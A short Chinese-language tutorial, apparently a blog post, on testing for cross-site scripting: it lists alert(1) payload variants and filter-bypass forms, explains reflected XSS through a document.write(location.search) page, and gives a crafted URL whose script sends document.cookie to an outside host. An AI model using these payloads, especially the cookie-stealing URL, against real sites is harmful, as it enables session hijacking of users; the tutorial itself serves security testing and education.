<script>alert(1)</script>
以及它的各種變體
<script>alert(1) </script>實體
%3cscript%3ealert(1)%3c/script%3e url編碼
<scr<script>ipt>alert(1)<scr<script>ipt>
<script x=1>alert(1)</script x=1> 還可以這樣寫
或者<script>confirm(1)</script>
<javascript.:alert(1)>;等
如果送出後,頁面彈出警告框,則該頁面存在xss漏洞
*反射型xss
通俗來講,即使輸入一段代碼,既可以看到代碼實際的效果,而非原程式的效果
如:一段代碼
<html><body>
<script>
document.write(location.search);</script>//location.search傳回url?開始的部分
</body></html>
當輸入以下url
"http://127.0.0.1/attrck.html?search=222"
頁面将顯示:?search=222 ;但url中如果輸入
/?search=<script>alert(1)</script>
則頁面的實際代碼為:
document.write(?search=)<script>alert(1)</script>;
将彈出警告框,即代碼<script>alert(1)</script>被執行了,而并非頁面原來顯示?後字元串的效果
可以使用僞造後的url擷取使用者cookie
http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
因為cookie是禁止跨域通路的,但僞造的url,浏覽器會認為是還是localhost的域
*儲存型xss
*基于dom的xss
嚴格來說該xss也屬于反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,進而達成攻擊,比如頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工輸入,需要考慮到輸入限制、過濾、長度限制等因素,是以需要設計各種不容的變體輸入,以達到測試效果,也可以使用工具,比如burpsuite來擷取請求後手工修改請求參數,然後重新送出到浏覽器來測試,因為xss并不限于可見的頁面輸入,還有可能是隐藏表單域、get請求參數等。
最新内容請見作者的github頁:http://qaseven.github.io/